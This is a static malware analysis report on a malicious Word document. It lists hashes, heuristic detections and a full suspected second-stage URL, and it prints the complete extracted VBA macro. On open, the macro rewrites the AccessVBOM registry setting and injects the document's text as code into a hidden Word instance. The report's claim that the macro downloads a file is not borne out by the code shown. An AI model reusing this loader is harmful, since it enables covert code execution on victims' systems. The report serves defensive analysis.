Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 90ab0ad1b7005cab…

MALICIOUS

Office (OOXML)

42.7 KB Created: 2021-06-07 10:54:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 69ca62fff4b01caca9b8d79257009ccb SHA-1: 67bf6af5b7824163c198ad65876b0d5c5069601a SHA-256: 90ab0ad1b7005cab053ab69a48fe5447c297108e60998dff88c0ef5a82febde1
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine that executes a download function. This function uses WScript.Shell to download a file from a hardcoded URL and save it as 'c:\programdata\lenVbValue.jpg'. The script also attempts to modify registry keys to enable VBA object model access, likely to facilitate further malicious actions. The URL http://willhoused.com/adda/... is highly suspicious and likely serves as a C2 server for delivering a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub buttonProcedureConvert()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & trustNext & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub captionIndex(libList)
Set borderPasteTitle = CreateObject("word.application")
With borderPasteTitle.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "requestVariableLen"
Sub autoopen()
buttonProcedureConvert
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://willhoused.com/adda/YrPNibRZYbN3X1kkIOGEe8AnX6glSh/89686/78254/DcxCVCrYgDIi8lyqvlHHQImX74eyNuzkQA5CJqYhrB/qfjzEUGoBIkWeeWA1AL9Vlv0qBnXuX7n/W5GRxse5ajeMwZ73PmTtNK09F/42508/tCaqZzb/JPS25HYM6TLWJZYSr5OqeN1WxcOflSSI7Wt9PZiWW6zT/coc6?id=LoQeUhNMkB3TZ&page=nrWErEvtFGge18WgX5Kps8q0ZnbU&q=svjhvWHznhEOWtLJv18xXTm&time=wbjUeXpwyvKj7wFKZ&id=Mp8YzbScXkzW334bq4IobBmyU In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1051 bytes
SHA-256: b0ec0d7651f5e40a2508412a49dd6f728d6c9910cf43ec36b328187a2be1f87e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "requestVariableLen"
Sub autoopen()
buttonProcedureConvert
libList = ActiveDocument.Range.Text
libList = Mid(libList, 2, Len(libList))
captionIndex libList
End Sub
Sub captionIndex(libList)
Set borderPasteTitle = CreateObject("word.application")
With borderPasteTitle.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString libList
End With
borderPasteTitle.Visible = False
borderPasteTitle.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function trustNext()
trustNext = Application.Version
End Function
Sub buttonProcedureConvert()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & trustNext & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: f735c1de377759544b687116c476d672efa4ac228cbbfcb168a8afd95c037512

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